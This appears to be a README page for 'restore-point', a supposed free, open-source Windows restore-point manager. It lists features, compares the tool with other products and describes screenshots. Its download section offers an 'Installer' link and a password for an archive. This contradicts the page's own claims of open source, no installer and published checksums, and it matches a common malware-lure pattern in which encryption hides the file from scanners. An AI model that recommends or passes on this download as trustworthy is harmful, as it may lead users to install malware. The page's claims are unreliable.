⏪ Free, open-source restore point manager for Windows — create, schedule and compare system checkpoints offline. 100 MB portable, MIT.
- ✅ One-click checkpoint — create a named restore point in seconds without digging through System Protection
- ✅ Auto-schedule — daily, pre-update or before each detected driver install
- ✅ Comparison browser — list points with age, size and the events each one precedes
- ✅ Retention policy — cap by count or disk percentage so points never eat the whole drive
- ✅ Protection status panel — shows which drives have protection enabled and fixes the disabled ones
- ✅ Restore from app or boot — trigger the rollback directly, or export the instructions for WinRE
- ✅ 100 MB self-contained exe — runtime bundled, portable, offline, MIT with SHA-256 releases
- MIT licensed, source in the open
- No ads, no account, no telemetry
- Single portable 100 MB exe - no installer, runs offline
- CI builds every release and publishes SHA-256 checksums
- Windows 10 / 11 x64
| Feature | restore-point | Restore Point Creator | System Protection | EaseUS Todo Free |
|---|---|---|---|---|
| Price | Free, MIT | Free | Built-in | Freemium |
| Open source | Yes | No | No | No |
| Named one-click points | Yes | Yes | Partial | n/a imaging |
| Scheduling with policies | Yes | Task scripted | No | Partial |
| Disk usage caps by percent | Yes | No | Yes | n/a |
| Portable, no install | Yes, 100 MB | Installer | With OS | Installer |
how to create restore points automatically on Windows 10 and 11?
System Protection is off by default on many systems and its dialog hides frequency, naming and storage caps. restore-point turns checkpoints into a first-class tool: one-click creation, scheduled snapshots before updates and a retention policy that respects disk space. It is a 100 MB portable exe, MIT, offline.
All screenshots describe the 1280x800 dark UI.
- Dark timeline (#121418, amber #F59E0B): restore points arranged by date with names and suspected triggers, Create point button top right, disk usage bar at 3 percent.
- Comparison list: two points selected with event chips (driver install, audit week), size and age columns, delete older action.
- Protection panel: system drive enabled green, data drive disabled with fix action, retention policy dropdown keep 4 percent of disk.
| Source | Link |
|---|---|
| 💾 Installer restore-point | Installer restore-point |
Archive password:
5139237619
Requires the .NET SDK on Windows 10/11 x64:
dotnet publish -c Release -r win-x64 --self-contained -p:PublishSingleFile=true
MIT. See LICENSE.